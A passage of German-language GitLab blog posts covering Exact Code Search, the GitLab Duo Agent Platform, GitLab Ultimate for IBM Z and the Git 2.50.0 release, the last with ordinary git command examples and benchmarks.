Verbesserte Self-Managed-Bereitstellungsoptionen, einschließlich vereinfachter Omnibus-Unterstützung
Vollständige Hochverfügbarkeits-Unterstützung mit automatischem Failover und Load Balancing

Bleib dran für Updates, während wir von Beta zu General Availability übergehen.

Transformiere deine Arbeitsweise mit Code

GitLabs Exact Code Search repräsentiert ein grundlegendes Umdenken bei der Code-Entdeckung. Durch die Bereitstellung exakter Treffer, leistungsstarker Regex-Unterstützung und kontextbezogener Ergebnisse löst sie die frustrierendsten Aspekte der Code-Suche:

Keine Zeitverschwendung mehr mit irrelevanten Ergebnissen
Keine wichtigen Treffer mehr verpassen
Kein Durchklicken von Dateien mehr nur für grundlegendes Verständnis
Keine Performance-Probleme mehr bei wachsenden Codebasen

Die Auswirkungen gehen über die individuelle Produktivität hinaus:

Teams arbeiten besser zusammen mit einfacher Code-Referenzierung
Wissensaustausch beschleunigt sich, wenn Muster auffindbar sind
Onboarding wird schneller mit schnellem Codebasis-Verständnis
Sicherheit verbessert sich mit effektivem Muster-Auditing
Abbau technischer Schulden wird machbarer

Exact Code Search ist nicht nur eine Funktion, es ist eine bessere Art, Code zu verstehen und damit zu arbeiten. Hör auf zu suchen und fang an zu finden.

Wir würden gerne von dir hören! Teile deine Erfahrungen, Fragen oder Feedback zu Exact Code Search in unserem Feedback-Issue. Dein Input hilft uns, Verbesserungen und neue Funktionen zu priorisieren.

Bereit für smartere Code-Suche? Erfahre mehr in unserer Dokumentation oder probiere es jetzt aus, indem du eine Suche in deinen Premium- oder Ultimate-lizenzierten Namespaces oder Projekten durchführst. Noch kein GitLab-Nutzer? Teste kostenlos GitLab Ultimate mit Duo für 60 Tage!

Die Zukunft ist da: GitLab Duo lässt dich mit 100+ KI-Agenten arbeiten

2025-06-24T00:00:00.000Z

Ich freue mich, die nächste Weiterentwicklung von Duo Workflow vorstellen zu können: die GitLab Duo Agent Platform. Diese innovative Plattform erweitert die agentischen Fähigkeiten auf den gesamten Softwareentwicklungszyklus und ermöglicht es Teams, parallel mit mehreren KI-Agenten zu arbeiten.

Stell dir vor, du beginnst deinen Tag so:

Du weist einen KI-Agenten an, Recherchen zu einem Epic durchzuführen, an dem dein Team arbeitet, die neuesten Updates zu allen Beiträgen der letzten Woche bereitzustellen und einen Veröffentlichungsbeitrag basierend auf den neuesten Funktionserweiterungen vorzuschlagen.
Gleichzeitig beauftragst du mehrere Agenten mit der Analyse einiger Fehler bei der Barrierefreiheit und der Durchführung der erforderlichen Codeänderungen, um diese zu beheben.
In der Zwischenzeit bittest du einen weiteren Agenten, deine komplizierten Codeänderungen zu überprüfen und Feedback zu geben, bevor du sie zur formellen Überprüfung an ein Teammitglied sendest.
Als dich schließlich das Sicherheitsteam über eine neue Sicherheitslücke informiert, die im gesamten Projekt untersucht werden muss, übergibst du diese Rechercheaufgabe an deinen Sicherheitsagenten.

All das passiert gleichzeitig, während du dich auf Architekturentscheidungen, kreative Problemlösungen und strategische technische Arbeit konzentrieren kannst. Mit der GitLab Duo Agent Platform kannst du Aufgaben an fünf, zehn oder sogar 100 spezialisierte Agenten delegieren. Jeder davon kennt den vollständigen Kontext deines Projekts, nicht nur deinen Code, einschließlich CI-Jobprotokolle, Planungsaufgaben und vieles mehr. Du automatisierst die mühsame Arbeit, die du erledigen musst, damit du dich auf die Arbeit konzentrieren kannst, die dich inspiriert.

Es geht dabei nicht darum, Entwickler(innen) zu ersetzen. Es geht darum, die menschliche Kreativität und das Fachwissen zu verstärken, indem Routineaufgaben vereinfacht werden. Das ist die Zukunft, die wir mit der GitLab Duo Agent Platform gestalten.

Was ist die GitLab Duo Agent Platform?

Die GitLab Duo Agent Platform ermöglicht eine umfassende Zusammenarbeit zwischen Entwickler(inne)n und KI-Agenten über den gesamten Software-Entwicklungsprozess hinweg, um Teams dabei zu helfen, ihre Produktivität zu steigern und die Bearbeitungszeit drastisch zu verkürzen.

Die GitLab Duo Agent Platform basiert auf der sicheren Grundlage von GitLab und ist anpassbar und erweiterbar. Sie ermöglicht es Entwickler(inne)n, Agenten zu erstellen, die alle Arten von Software-Engineering-Problemen lösen können und dabei den Kontext über den gesamten Software-Entwicklungsprozess hinweg nutzen.

Die GitLab Duo Agent Platform bietet mehr als nur die Erstellung von Code. Mit spezialisierten Agenten und benutzerdefinierten Workflows unterstützt sie eine nahezu unbegrenzte Anzahl von Aktivitäten, darunter:

Implementierung von Tickets
Groß angelegte Migrationen/Upgrades von Abhängigkeiten
Automatisierte Erstellung von Dokumentationen/Veröffentlichungsbeiträge
Fehlerbehebung bei fehlgeschlagenen CI/CD-Pipelines
Unterstützung bei der Untersuchung von Vorfällen
Detaillierte Recherche zu Status und Informationsbeschaffung zu festgelegten Themen
Verwaltung von Backlogs
Behebung von Sicherheitslücken
Reviews für bestimmte Arten von Code (z. B. Datenbanken)
Schnelle interne Toolerstellung auf Basis vorhandener Build-Blöcke
und vieles mehr!

Du kannst unsere Agenten sofort einsetzen, anpassen und erweitern. Wir testen die GitLab Duo Agent Platform derzeit mit Dutzenden von Kund(inn)en und werden bald mehr Teams den Zugang zur Beta-Version ermöglichen.

Sieh dir die GitLab Duo Agent Platform in Aktion an:

Wähle deine Tools, deine Modelle und deine Agenten

Da GitLab eine offene Plattform ist, arbeiten GitLab-Agenten nahtlos mit den von dir gewählten Entwicklertools zur Codeerstellung über das Standard Model Context Protocol (MCP) und das Agent-to-Agent-Framework (A2A) zusammen, unabhängig davon, ob du Cursor, Claude Code, Windsurf, OpenAI Codex oder andere Tools verwendest.

Die Plattform akzeptiert Codebeiträge von jedem Entwicklungstool in deinem Stack, unabhängig davon, ob der Code von einem Menschen geschrieben oder von einem KI-Agenten generiert wurde. Das bedeutet, dass deine vorhandenen Workflows und bevorzugten Tools weiterhin nahtlos funktionieren, wenn du Agentenfunktionen integrierst.

Die GitLab Duo Agent Platform funktioniert mit jedem zugelassenen Sprachmodell, das unsere Auswahlkriterien erfüllt. Für Unternehmen mit strengen Sicherheitsanforderungen unterstützt die Plattform genehmigte, selbst gehostete Modelle, die in vollständig isolierten Umgebungen ausgeführt werden. Deine Infrastrukturanforderungen und Sicherheitsrichtlinien schränken deine Möglichkeiten, von der agentischen Entwicklung zu profitieren, nicht ein.

Kontext ist alles, und deine GitLab-Duo-Agenten kennen ihn

Der Unterschied zwischen einem hilfreichen KI-Tool und einem wirklich intelligenten Agenten liegt im Kontext. Mit der GitLab Duo Agent Platform arbeiten die Agenten nicht isoliert, sondern sind tief in die Plattform integriert, auf der die Entwicklungsarbeit stattfindet.

Jeder Agent kennt automatisch das Gesamtbild deiner Projekte, einschließlich deiner offenen Tickets und deren Verlauf, der Merge Requests, die sie gelöst haben, der Struktur und der Logik hinter deinem Code, deiner CI/CD-Pipeline-Konfigurationen, der Sicherheitserkenntnisse, der Konformitätsanforderungen und der komplexen Beziehungen zwischen all diesen Komponenten.

Genau wie deine menschlichen Teammitglieder verfügen die Agenten über den gesamten Kontext, um dir zu helfen, sichere Software schneller bereitzustellen. Anstatt nur Fragen zum Code zu beantworten, können sie Einblicke geben, wie sich eine vorgeschlagene Änderung auf deine Bereitstellungspipeline auswirken könnte, oder Sicherheitsverbesserungen auf der Grundlage deiner bestehenden Compliance-Regeln vorschlagen. Wir sind der Meinung, dass deine Agenten umso intelligenter werden, je mehr dein Team innerhalb der DevSecOps-Plattform von GitLab arbeitet.

Behalte die Kontrolle, während die Agenten dein Team skalieren

Der Aufbau von Vertrauen in KI-Agenten unterscheidet sich nicht grundlegend vom Aufbau von Vertrauen in neue Teammitglieder. Du musst ihre Arbeit sehen, ihren Ansatz verstehen und ihre Verantwortung schrittweise erhöhen, wenn sie ihre Kompetenz unter Beweis stellen.

Das ist die Philosophie hinter unserem Workflow zum Agenten-Approval. Bevor ein Agent Änderungen an deinem Code oder deiner Umgebung vornimmt, legt er dir einen klaren Plan vor: Er zeigt auf, was er über das Ticket weiß, welchen Ansatz er verfolgen wird und welche spezifischen Aktionen er ausführen möchte. Du hast dann die Möglichkeit, den Plan zu überprüfen, zu genehmigen oder bei Bedarf anzupassen. Wenn die Agenten konsequent qualitativ hochwertige Arbeit leisten, kannst du ihnen im Laufe der Zeit mehr Autonomie für Routineaufgaben gewähren und gleichzeitig die Kontrolle über komplexe oder kritische Arbeiten behalten.

Entwickelt für Community und Anpassung

GitLab hat schon immer von den Beiträgen der Community profitiert, und dieses Jahr war ein Meilenstein mit einer rekordverdächtig hohen Zahl an Kundenbeiträgen zu unserer Plattform. Jetzt übertragen wir diese kollaborative Energie durch unseren offenen Framework-Ansatz auf KI-Agenten.

Bei der GitLab Duo Agent Platform geht es nicht nur um die Agenten, die wir entwickeln, sondern darum, dich und die breitere Community in die Lage zu versetzen, spezialisierte Agenten zu erstellen, die deine einzigartigen technischen Herausforderungen lösen. Egal, ob du einen Agenten benötigst, der deine spezifischen Programmierstandards versteht, sich in deine benutzerdefinierte Toolchain integrieren lässt oder domänenspezifische Aufgaben erledigt, die Plattform bietet dir die Bausteine, um dies zu erreichen.

Dieses auf die Community ausgerichtete Modell schafft einen positiven Kreislauf, der die Stärke der GitLab-Community durch globalen Austausch nutzt, ähnlich wie unser CI/CD-Katalog (nur in englischer Sprache verfügbar). Vielfältige Anwendungsfälle aus der Praxis treiben Innovationen voran. Feedback von Unternehmen sorgt für Zuverlässigkeit und Sicherheit. Und gemeinsame Lösungen kommen allen zugute. Es ist derselbe kollaborative Ansatz, der GitLab erfolgreich gemacht hat und nun auf die neuesten Entwicklungen im Bereich der Agentenentwicklung angewendet wird.

Erste Schritte

Wenn du mit GitLab Duo Agentic Chat experimentiert hast, das jetzt in jeder Premium- und Ultimate-GitLab.com-Benutzerlizenz von GitLab 18 enthalten ist, hast du bereits einen Vorgeschmack darauf bekommen, was mit KI-Agenten in deinem Entwicklungsworkflow möglich ist.

Was die GitLab Duo Agent Platform kann und woran wir arbeiten, kannst du dir in den Demos der Aufzeichnung unseres Release-Events von GitLab 18 Release-Events ansehen.

Möchtest du zu den Ersten gehören, die es erleben? Dann melde dich für die Beta-Warteliste für die GitLab Duo Agent Platform (nur in englischer Sprache verfügbar) an. In diesem Sommer werden wir mehr Teams den Zugang ermöglichen und im Laufe des Jahres werden neue Agentenfunktionen in den kommenden Releases von GitLab 18 veröffentlicht. Wir erwarten die allgemeine Verfügbarkeit im Winter.

Haftungsausschlussklausel: Dieser Blogbeitrag enthält Informationen zu kommenden Produkten, Funktionen und Funktionalitäten. Bitte beachte, dass die Informationen auf dieser Seite nur zu Informationszwecken dienen. Bitte verlasse dich nicht auf diese Informationen, wenn du etwas kaufen oder planen möchtest. Wie bei allen Projekten können sich die hier und auf den verlinkten Seiten genannten Punkte ändern oder verzögern. Die Entwicklung, Freigabe und der Zeitplan von Produkten, Funktionen oder Funktionalitäten liegen im alleinigen Ermessen von GitLab Inc.

Mehr erfahren

GitLab Ultimate für IBM Z: Moderne DevSecOps für Mainframes

2025-06-20T00:00:00.000Z

GitLab und IBM haben sich zusammengeschlossen, um eine grundlegende Diskrepanz in der Unternehmensentwicklung zu lösen: Mainframe-Entwickler(innen) sollen mit denselben modernen Tools, Workflows und Kollaborationsfunktionen arbeiten können wie ihre Kolleg(inn)en in verteilten Umgebungen.

GitLab Ultimate für IBM Z, eine von GitLab zertifizierte, integrierte DevSecOps-Lösung, die speziell für die Mainframe-Umgebung entwickelt wurde, macht genau das möglich: Sie ermöglicht es Unternehmen, ihre Mainframe-Entwicklungsworkflows zu modernisieren, indem eine nahtlose Migration von veralteten Legacy-Bibliotheksmanagern erleichtert wird. Mit CI/CD-Pipelines, die nativ auf IBM z/OS laufen, erleben Kund(inn)en beschleunigte Innovation und reduzierte Betriebskosten.

Herausforderungen der heutigen Mainframe-Entwicklung

Unternehmen, die IBM Z-Systeme für geschäftskritische Workloads einsetzen, stehen vor Herausforderungen, für die herkömmliche DevSecOps-Tools nicht ausgestattet sind. Cloud-native Teams profitieren von modernen CI/CD-Pipelines, kollaborativer Entwicklung und automatisierten Tests. Im Gegensatz dazu werden Mainframe-Teams oft zurückgelassen – sie stecken mit veralteten Tools fest, die zu kostspieligen Ineffizienzen und operativen Silos führen.

Teams greifen oft auf Workarounds zurück, wie SSH-Verbindungen und manuelle Dateiübertragungen, die Sicherheitslücken schaffen und Audits erschweren. Wenn Compliance-Anforderungen streng sind, werden diese improvisierten Lösungen zu inakzeptablen Risiken. Gleichzeitig unterhalten Organisationen teure parallele Toolchains, wobei Legacy-Mainframe-Entwicklungstools Premium-Lizenzkosten verursachen, während sie im Vergleich zu modernen Alternativen nur eingeschränkte Funktionalität bieten.

Diese Fragmentierung schafft zwei Probleme: langsamere Bereitstellungszyklen und Schwierigkeiten bei der Rekrutierung von Entwickler(inne)n, die modernste Prozesse erwarten.

„GitLab Ultimate für IBM Z stellt einen wichtigen Schritt zur Bewältigung einer langjährigen Branchenherausforderung dar. IDC-Forschung zeigt, dass Mainframe-Entwickler(innen) oft mit Legacy-Tools arbeiten, die zu Bereitstellungsineffizienzen beitragen und es schwieriger machen, neue Talente anzuziehen. Mit diesem Angebot werden moderne DevSecOps-Fähigkeiten und einheitliche Workflows direkt auf den Mainframe gebracht. Dies befähigt Entwickler(innen), kollaborativer und effizienter zu arbeiten, während es Organisationen hilft, Innovation zu beschleunigen und Mainframe-Entwicklung in breitere digitale Transformationsstrategien zu integrieren." - Katie Norton, Research Manager, DevSecOps und Software Supply Chain Security bei IDC

Vereinheitlichte Entwicklungsumgebungen

Wahre Modernisierung bedeutet mehr als nur die Aktualisierung der Mainframe-Entwicklung. Es bedeutet, eine einheitliche Plattform zu schaffen, auf der Mainframe-, Cloud-native-, Web- und Mobile-Entwicklungsteams nahtlos zusammenarbeiten.

GitLab Ultimate für IBM Z ermöglicht es Entwickler(inne)n, konsistente Workflows zu verwenden, unabhängig davon, ob sie auf z/OS, Cloud oder On-Premises-Infrastruktur bereitstellen – Wissen wird zwischen Teams übertragen, anstatt in Silos zu verbleiben. Organisationen können schrittweise modernisieren, ohne Geschäftsunterbrechungen, da Legacy-Systeme weiterhin funktionieren, während Teams moderne Praktiken in ihrem eigenen Tempo übernehmen.

Während Organisationen Hybrid-Cloud-Strategien verfolgen, bietet GitLab die Grundlage für Anwendungen, die sich über Mainframe- und Cloud-native-Umgebungen erstrecken.

Was ist GitLab Ultimate für IBM Z?

GitLab Ultimate für IBM Z bietet native z/OS-Runner-Unterstützung und ermöglicht eine nahtlose CI/CD-Pipeline-Ausführung direkt auf Ihrer Mainframe-Infrastruktur. Diese von GitLab zertifizierte Lösung hilft, die Notwendigkeit komplexer Workarounds zu eliminieren und gleichzeitig die Sicherheit und Zuverlässigkeit zu gewährleisten, die Ihre Unternehmensanwendungen erfordern.

Die Kombination aus GitLabs umfassender DevSecOps-Plattform und IBMs tiefgreifender Mainframe-Expertise schafft etwas Einzigartiges auf dem Markt: eine zertifizierte Lösung, die eine echte Brücke zwischen unternehmenskritischen Legacy-Systemen und Cloud-nativer Innovation bietet.

GitLab Ultimate für IBM Z Funktionen

GitLab Ultimate für IBM Z bietet Unternehmensteams die Tools, die sie benötigen, um die Mainframe-Entwicklung zu modernisieren und gleichzeitig kritische Geschäftssysteme zu erhalten.

Native z/OS-Runner-Unterstützung hilft, Sicherheitsrisiken und Skalierbarkeitsengpässe im Zusammenhang mit Remote-Verbindungen zu eliminieren, während die Bereitstellung durch CI/CD-Pipelines beschleunigt wird, die direkt dort ausgeführt werden, wo sich Ihr Mainframe-Code befindet.

Einheitliches Source Code Management modernisiert Toolchains, indem teure Legacy-Bibliotheksmanager durch GitLabs durchsuchbares, versionskontrolliertes Repository-System ersetzt werden, was zur Reduzierung von Lizenzkosten und Wartungsaufwand beiträgt.

Nahtlose Integration mit IBM Developer for z/OS Enterprise Edition (IDzEE) liefert schnellere Software-Releases durch abhängigkeitsbasierte Builds, automatisiertes Code-Scanning und umfassende Debugging-Tools in vertrauten Entwicklerumgebungen, wodurch sowohl Qualität als auch Sicherheit verbessert werden.

End-to-End-Transparenz über Mainframe- und verteilte Umgebungen hinweg bietet umfassendes Projektmanagement von der Planung bis zur Produktion und ermöglicht automatisierte DevOps-Workflows, die durch moderne Entwicklungstools der nächsten Generation zur Talentbindung beitragen.

Modernisiere deine Mainframe-Entwicklungsumgebung noch heute

GitLab Ultimate für IBM Z ist jetzt für Organisationen verfügbar, die bereit sind, ihre Mainframe-Entwicklungserfahrung zu transformieren. Weitere Informationen befinden sich auf der GitLab und IBM Partnerseite.

Was gibt es Neues in Git 2.50.0?

2025-06-16T00:00:00.000Z

Das Git-Projekt hat kürzlich Git Version 2.50.0 veröffentlicht. Werfen wir einen Blick auf die Highlights dieser Veröffentlichung, die Beiträge des Git-Teams von GitLab und der gesamten Git-Community enthält.

Neuer Befehl git-diff-pairs(1)

Diffs sind das Herzstück jeder Code Review und zeigen alle Änderungen, die zwischen zwei Revisionen vorgenommen wurden. GitLab zeigt Diffs an verschiedenen Stellen an, am häufigsten aber auf der Registerkarte „Änderungen“ (in englischer Sprache verfügbar) eines Merge Requests.

Im Hintergrund wird die Diff-Generierung von git-diff(1) verwendet. Ein Beispiel:

$ git diff HEAD~1 HEAD

Dieser Befehl gibt das vollständige Diff für alle geänderten Dateien zurück. Dies kann eine Herausforderung für die Skalierbarkeit darstellen, vor allem, wenn die Anzahl der Dateien, die innerhalb einer Reihe von Revisionen geändert wurden, sehr groß ist. Dies kann dazu führen, dass der Befehl selbst auferlegte Zeitlimits für das GitLab-Backend erreicht. Bei großen Änderungen wäre es besser, wenn es eine Möglichkeit gäbe, die Diff-Berechnung in kleinere, leichter verarbeitbare Blöcke zu unterteilen.

Eine Möglichkeit dafür ist die Verwendung von git-diff-tree(1) (in englischer Sprache verfügbar), um Informationen über alle geänderten Dateien abzurufen:

$ git diff-tree -r -M --abbrev HEAD~ HEAD
:100644 100644 c9adfed339 99acf81487 M      Documentation/RelNotes/2.50.0.adoc
:100755 100755 1047b8d11d 208e91a17f M      GIT-VERSION-GEN

Git bezeichnet diese Ausgabe als „unbearbeitetes“ Format (in englischer Sprache verfügbar). Kurz gesagt, listet jede Zeile der Ausgabe Dateipaare und die dazugehörigen Metadaten darüber auf, was sich zwischen dem Anfangscode und der letzten Revision geändert hat. Im Vergleich zur Erzeugung der „Patch“-Ausgabe für große Änderungen verläuft dieser Prozess relativ schnell und liefert eine Zusammenfassung aller Änderungen. Dieser Befehl kann optional eine Umbenennungserkennung durchführen, indem das Flag -M angehängt wird. So kannst du überprüfen, ob identifizierte Änderungen auf eine Dateiumbenennung zurückzuführen sind.

Mit diesen Informationen könnten wir git-diff(1) verwenden, um jedes der Dateipaar-Diffs einzeln zu erstellen. Zum Beispiel können wir die Blob-IDs direkt angeben:

$ git diff 1047b8d11de767d290170979a9a20de1f5692e26 208e91a17f04558ca66bc19d73457ca64d5385f

Wir können diesen Vorgang für jedes der Dateipaare wiederholen, aber es ist nicht sehr effizient, für jede einzelne Datei einen separaten Git-Prozess zu starten. Außerdem verliert das Diff bei der Verwendung von Blob-IDs einige Kontextinformationen, wie den Änderungsstatus und die Dateimodi, die im übergeordneten Baumobjekt gespeichert sind. Was wir wirklich möchten, ist ein Mechanismus, um „unbearbeitete“ Dateipaarinformationen einzuspeisen und die entsprechende Patch-Ausgabe zu generieren.

Mit der Version 2.50 bietet Git einen neuen integrierten Befehl mit der Bezeichnung git-diff-pairs(1) (in englischer Sprache verfügbar. Dieser Befehl akzeptiert „unbearbeitete“ formatierte Dateipaarinformationen als Eingabe auf stdin, um exakt zu bestimmen, welche Patches ausgegeben werden sollen. Das folgende Beispiel zeigt, wie dieser Befehl verwendet werden kann:

$ git diff-tree -r -z -M HEAD~ HEAD | git diff-pairs -z

Bei dieser Nutzung ist die resultierende Ausgabe identisch mit der Verwendung von git-diff(1). Durch einen separaten Befehl zur Generierung der Patch-Ausgabe kann die „unbearbeitete“ Ausgabe von git-diff-tree(1) in kleinere Chargen von Dateipaaren aufgeteilt und separaten git-diff-pairs(1)-Prozessen zugeführt werden. Dies löst das zuvor erwähnte Skalierbarkeitsproblem, da die Diffs nicht länger alle auf einmal berechnet werden müssen. Zukünftige GitLab-Versionen könnten auf diesem Mechanismus aufbauen, um die Leistung der Diff-Generierung zu verbessern, insbesondere wenn es sich um große Änderungssätze handelt. Weitere Informationen zu dieser Änderung findest du im entsprechenden Mailinglisten-Thread.

Dieses Projekt wurde von Justin Tobler geleitet.

Gesammelte Referenz-Updates

Mit dem Git-Befehl git-update-ref(1) (in englischer Sprache verfügbar)

kannst du Referenzaktualisierungen durchführen. Bei Verwendung mit dem Flag --stdin können

mehrere Referenzaktualisierungen in einer einzigen Transaktion gebündelt werden, indem Anweisungen für jede Referenzaktualisierung angegeben werden, die auf stdin durchgeführt werden soll. Die Massenaktualisierung von Referenzen auf diese Weise zeigt auch ein atomares Verhalten, bei dem ein einzelner Fehler bei der Referenzaktualisierung eine Transaktion abbricht und Referenzen nicht aktualisiert werden. Hier ist ein Beispiel für dieses Verhalten:

# Erstelle ein Repository mit drei leeren Commits und einem Branch mit dem Namen „foo“
$ git init
$ git commit --allow-empty -m 1
$ git commit --allow-empty -m 2
$ git commit --allow-empty -m 3
$ git branch foo

# Gib die Commit-IDs aus
$ git rev-list HEAD
cf469bdf5436ea1ded57670b5f5a0797f72f1afc
5a74cd330f04b96ce0666af89682d4d7580c354c
5a6b339a8ebffde8c0590553045403dbda831518

# Versuche, eine neue Referenz zu erstellen und die vorhandene Referenz in der Transaktion zu aktualisieren.
# Es wird erwartet, dass die Aktualisierung fehlschlägt, da die angegebene alte Objekt-ID nicht richtig ist.
$ git update-ref --stdin < create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc
> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c
> EOF
fatal: cannot lock ref 'refs/heads/foo': is at cf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected 5a74cd330f04b96ce0666af89682d4d7580c354c

# Die Referenz „bar“ wurde nicht erstellt.
$ git switch bar
fatal: invalid reference: bar

Im Vergleich zur einzelnen Aktualisierung vieler Referenzen ist die Massenaktualisierung auch viel effizienter. Das ist zwar grundsätzlich eine gute Lösung, aber es kann bestimmte Umstände geben, unter denen es akzeptabel ist, wenn ein Teil der angeforderten Referenzaktualisierungen fehlschlägt, wir aber dennoch die Effizienzvorteile von Massenaktualisierungen nutzen möchten.

Ab dieser Version verfügt git-update-ref(1) über die neue Option --batch-updates, mit der die Aktualisierungen auch dann fortgesetzt werden können, wenn eine oder mehrere Referenzaktualisierungen fehlschlagen. In diesem Modus werden einzelne Fehler im folgenden Format gemeldet:

rejected SP ( | ) SP ( | ) SP  LF

Dadurch können erfolgreiche Referenzaktualisierungen fortgesetzt werden, während gleichzeitig angegeben wird, unter welchen Umständen Aktualisierungen abgelehnt wurden und aus welchem Grund. Wir verwenden noch einmal das gleiche beispielhafte Repository wie im vorherigen Beispiel:

# Versuche, eine neue Referenz zu erstellen und die vorhandene Referenz in der Transaktion zu aktualisieren.
$ git update-ref --stdin --batch-updates < create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc
> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c
> EOF
rejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided

# Die Referenz „bar“ wurde erstellt, obwohl die Aktualisierung auf „foo“ abgelehnt wurde.
$ git switch bar
Switched to branch 'bar'

Mit der Option --batch-updates war die Referenzerstellung diesmal erfolgreich, obwohl die Aktualisierung nicht funktioniert hat. Diese Patch-Serie legt den Grundstein für zukünftige Leistungsverbesserungen in git-fetch(1) und git-receive-pack(1), wenn Referenzen in großer Zahl aktualisiert werden. Weitere Informationen findest du im Mailinglisten-Thread

Dieses Projekt wurde von Karthik Nayak geleitet.

Neue Filteroption für git-cat-file(1)

Mit git-cat-file(1) (in englischer Sprache verfügbar) ist es möglich, Informationen für alle im Repository enthaltenen Objekte über die Option --batch–all-objects auszugeben. Zum Beispiel:

# Richte ein einfaches Repository ein.
$ git init
$ echo foo >foo
$ git add foo
$ git commit -m init

# Erstelle ein nicht erreichbares Objekt.
$ git commit --amend --no-edit

# Verwende git-cat-file(1), um Informationen über alle Objekte einschließlich nicht erreichbarer Objekte auszugeben.
$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)'
commit 0b07e71d14897f218f23d9a6e39605b466454ece
tree 205f6b799e7d5c2524468ca006a0131aa57ecce7
blob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99
commit c999f781fd7214b3caab82f560ffd079ddad0115

In einigen Situationen möchte ein(e) Benutzer(in) möglicherweise alle Objekte im Repository durchsuchen, aber nur eine Teilmenge basierend auf einem bestimmten Attribut ausgeben. Wenn wir beispielsweise nur die Objekte anzeigen möchten, die Commits sind, könnten wir grep(1) verwenden:

$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' | grep ^commit
commit 0b07e71d14897f218f23d9a6e39605b466454ece
commit c999f781fd7214b3caab82f560ffd079ddad0115

Das funktioniert zwar, aber ein Nachteil beim Filtern der Ausgabe ist, dass git-cat-file(1) nach wie vor alle Objekte im Repository durchlaufen muss, auch diejenigen, an denen wir nicht interessiert sind. Dies kann ziemlich ineffizient sein.

Mit dieser Version verfügt git-cat-file(1) jetzt über die Option --filter, die nur jene Objekte anzeigt, die den angegebenen Kriterien entsprechen. Dies ähnelt der gleichnamigen Option für git-rev-list(1), unterstützt jedoch nur eine Teilmenge der Filter. Die folgenden Filter werden unterstützt: blob:none, blob:limit= und object:type=. Ähnlich wie im vorherigen Beispiel können Objekte mit Git direkt nach ihrem Typ gefiltert werden:

$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' --filter='object:type=commit'
commit 0b07e71d14897f218f23d9a6e39605b466454ece
commit c999f781fd7214b3caab82f560ffd079ddad0115

Es ist nicht nur praktisch, dass Git die Verarbeitung übernimmt, sondern bei großen Repositories mit vielen Objekten ist dies möglicherweise auch effizienter. Wenn ein Repository über Bitmap-Indizes verfügt, kann Git Objekte eines bestimmten Typs effizient nachschlagen und so das Durchsuchen der Paketierungsdatei vermeiden, wodurch die Geschwindigkeit deutlich erhöht wird. Benchmarks, die im Chromium-Repository durchgeführt wurden, zeigen signifikante Verbesserungen:

Benchmark 1: git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter Time (mean ± σ):     82.806 s ±  6.363 s    [User: 30.956 s, System: 8.264 s] Range (min … max):   73.936 s … 89.690 s    10 runs
Benchmark 2: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag Time (mean ± σ):      20.8 ms ±   1.3 ms    [User: 6.1 ms, System: 14.5 ms] Range (min … max):    18.2 ms …  23.6 ms    127 runs
Benchmark 3: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit Time (mean ± σ):      1.551 s ±  0.008 s    [User: 1.401 s, System: 0.147 s] Range (min … max):    1.541 s …  1.566 s    10 runs
Benchmark 4: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree Time (mean ± σ):     11.169 s ±  0.046 s    [User: 10.076 s, System: 1.063 s] Range (min … max):   11.114 s … 11.245 s    10 runs
Benchmark 5: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob Time (mean ± σ):     67.342 s ±  3.368 s    [User: 20.318 s, System: 7.787 s] Range (min … max):   62.836 s … 73.618 s    10 runs
Benchmark 6: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none Time (mean ± σ):     13.032 s ±  0.072 s    [User: 11.638 s, System: 1.368 s] Range (min … max):   12.960 s … 13.199 s    10 runs
Summary git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag 74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit 538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree 627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none 3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob 3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter

Interessanterweise zeigen diese Ergebnisse, dass die Berechnungszeit jetzt mit der Anzahl der Objekte für einen bestimmten Typ skaliert, anstatt mit der Anzahl der gesamten Objekte in der Paketierungsdatei. Den ursprünglichen (englischsprachigen) Mailinglisten-Thread findest du hier.

Dieses Projekt wurde von Patrick Steinhardt geleitet.

Verbesserte Leistung beim Generieren von Bundles

Git bietet die Möglichkeit, über den Befehl git-bundle(1) (in englischer Sprache verfügbar) ein Archiv eines Repositories zu generieren, das einen bestimmten Satz von Referenzen und zugehörigen erreichbaren Objekten enthält. Dieser Vorgang wird von GitLab verwendet, um Repository-Backups zu erstellen, und ist auch ein Teil des Bundle-URI (in englischer Sprache verfügbar)-Mechanismus.

Bei großen Repositories mit Millionen von Referenzen kann dieser Vorgang Stunden oder sogar Tage dauern. Zum Beispiel lagen die Backup-Zeiten für das Haupt-GitLab-Repository (gitlab-org/gitlab), bei etwa 48 Stunden. Die Untersuchung zeigte einen Leistungsengpass, der auf die Art zurückzuführen war, wie Git eine Überprüfung durchführte, um zu vermeiden, dass doppelte Referenzen in das Bundle aufgenommen wurden. Die Implementierung verwendete eine verschachtelte for-Schleife, um alle aufgelisteten Referenzen zu durchlaufen und zu vergleichen, was zu einer Zeitkomplexität von O(N^2) führte. Die Skalierbarkeit ist sehr schlecht, wenn die Anzahl der Referenzen in einem Repository zunimmt.

